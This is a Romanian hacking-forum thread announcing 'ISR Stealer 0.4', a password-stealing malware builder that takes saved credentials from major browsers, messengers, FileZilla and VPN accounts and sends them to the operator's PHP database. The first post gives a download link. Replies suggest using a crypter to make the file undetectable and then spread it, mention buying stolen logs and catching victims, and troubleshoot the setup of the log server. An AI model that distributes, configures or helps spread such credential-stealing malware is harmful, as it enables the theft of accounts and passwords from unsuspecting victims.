ISR Stealer 0.4

[B3st]

########################################################

#Made in: Romania, Europe

#Release date: 27.02.2012

#Gfx by: Y.xakep and Tinkode

#Credits: Cobein, 7, Bilal Ghouri, SqUeEzEr, Rtflol and Nirsoft team.

#Beta testers : linuxgirl, zippy and wav3

#Developed for: InSecurity.Ro

#Send logs to my sql data base(php)

#Change server icon

#Steal options:

Internet Explorer (All Versions)

Mozilla Firefox (All Versions)

Google Chrome (All Versions)

Opera (All Versions)

Safari (All Versions)

VPN/Network Accounts

Yahoo Messenger 8/9/10 Password

Yahoo ETS

Msn Messenger

Pidgin

Filezilla

No-ip

DynDns

################################################################

Download:

http://up.ht/wCPNmG

Edited February 27, 2012 by B3st

[plm]

pare de incredere

[darkston3e]

https://www.virustotal.com/file/03fb03b349e8db3c2fd3592320084933bd3145876b12665c7931b8500631c50d/analysis/1330357541/

Detection ratio: 16 / 42

[Cril]

Ok si ce ai vrea sa nu fie raportat ca virus? Ruleaza-l in sandbox (recomandat), ia un crypter... fa FUD fisierul rezultat si imprastie-l.

Poate n-ai inteles, dar are legatura directa cu semnatura : El iti ofera gratuit stealer-ul, dar pentru a-l face FUD, ai nevoie de un crypter... pe care el il ofera contra-cost... daca ai deja un crypter n-o sa fii nevoit sa cumperi de la el.

//L.E.: N-am downloadat programul, nu-l pot recomanda. Prefer sa faca altii treaba cu stealer-ul si sa cumpar de la ei strict log-urile de care am nevoie.

[Paul4games]

E de incredere nu va mai tot pisati pe voi atata, daca tot va este asa frica rulatil dracu in virtual box....

[darkston3e]

Nu a spus nimeni nimic legat de ne-incredere, sau sa nu il foloseaca, tocmai de asta am postat virustotalul, pentru a stii lumea ca trebuie RULAT IN VIRTUAL !

[B3st]

@darkston3e Cu virustotal sau fara tot aia este.

Mai bine verifici de backdoor cu: Anubis: Analyzing Unknown Binaries

[sandabot]

@B3st mersi pentru stealer , daca ia parolele din Chrome isi face toti banii

btw Bunnnn e roman ?

[Paul4games]

@B3st mersi pentru stealer , daca ia parolele din Chrome isi face toti banii

btw Bunnnn e roman ?

El e Bunnn....

[B3st]

@sandabot Eu sunt BUNNN, contul precendent este banat de nea Nytro.

Fura din Chrome, Opera, Firefox, Internet Explorer si Safari.

Testat pe toate versiunile si pe windows xp/vista/7 x86/x64

[sandabot]

Chiar imi place , singurul stealer care mi-a furat parolele mele din chrome (asta si Dark Comet 5) .

O sa imi faca munca de rezolvat sclavii din Dark Comet 3.2 mai usoara (DC 5 nu imi merge pe alte calculatoare , nenea prietenul tau DarkCoder nu raspunde la contact )

Apropo + rep

//temele imi par cunoscute

//// ori este o versiune imbunatatita a Sharp Stealer ???

Edited February 27, 2012 by sandabot

[B3st]

@sandabot

Sharp este un prieten vechi, i-am dat sursa de la isr stealer 0.3 ca sa isi faca de cap.

Btw, mersi pentru test.

Chrome, internet explorer, opera si firefox stiu ca merg perfect dar nu prea am prins victime cu safari pentru a testa mai bine.

Edited February 27, 2012 by B3st

[me.mello]

@sandabot e oarecum simplu sa faci un stealer nimic complex in asta, oricum gasesti cam orice pe net, cat despre tine BUNNN dc nu ai implementat un mini fly inside?

[B3st]

@me.mello

"dc nu ai implementat un mini fly inside?"

Nu ar avea rost din moment ce este public.

[B3st]

Updated with new fixed version, check first post.

[TheWiner]

Mie imi apare o problema, am facut tot ce trebuia sa fac, am pagina si totul e in regula. Dar cand pun php url a mea de la index.php si dupaia aleg un icon. Dau build server. Se creeaza, dau pe el sa vad daca ma infectez si nimic. Nu imi apare nimic la mine pe pagina, si cand deschid serverul imi apare o eroare, care spune ca nu functioneaza Stie cineva de ce nu imi merge?

[Paul4games]

Mie imi apare o problema, am facut tot ce trebuia sa fac, am pagina si totul e in regula. Dar cand pun php url a mea de la index.php si dupaia aleg un icon. Dau build server. Se creeaza, dau pe el sa vad daca ma infectez si nimic. Nu imi apare nimic la mine pe pagina, si cand deschid serverul imi apare o eroare, care spune ca nu functioneaza Stie cineva de ce nu imi merge?

Ai modificat datele de conectare la baza de date?

[TheWiner]

Nu. Trebuie modificat ceva?

Am modificat doar config.php

Database name si database username in 000webhost e acelas nu?

Edited February 28, 2012 by TheWiner

[tornada]

am o intrebare,serverele create de isr 0.4 merg si pe php-urile de la 0.2 si 0.3?

Mai precis daca eu creez un server cu asta imi apar logs chiar daca eu am setat isr cu fisierele de la isr 0.2?

[Paul4games]

Nu. Trebuie modificat ceva?

Am modificat doar config.php

Database name si database username in 000webhost e acelas nu?

Cauta pe googe how to setup istealer ca este cam acelasi lucru.

[tornada]

nuu ca eu stiu sa-l setez dar nu prea mai vroiam sa mai creez un nou site....dar lasa am creat deja.

Multumesc frumos!

The Legend is back:X

[TheWiner]

Pai pagina am creato bine, imi merge. Problema e cu serverul. Cand il creez nu imi merge, si nu stiu de ce...

[tornada]

deci l-ai creat da?a aparut mesajul cu done?

Dar inainte sa dai sa creeze serverul dai test php si apoi verifica site-ul tau sa vezi daca ti-a aparut un demo logs!,daca este acolo inseamna ca iti merge daca nu are o buba pe undeva

[TheWiner]

Am creat serverul si mi-a aparut DONE. Si am facut si cum ai zis tu si mi-a aparut Done, check your logs. Adica totul merge bine. Dar cand deschid serverul imi da erroare ca nu functioneaza, ma uit sa vad daca a aparut ceva pe pagina mea si nu este nimic.. :S nu stiu unde e problema.

[eNNiLLI]

Am configurat totul ok pe un host hi2 si nu functioneaza...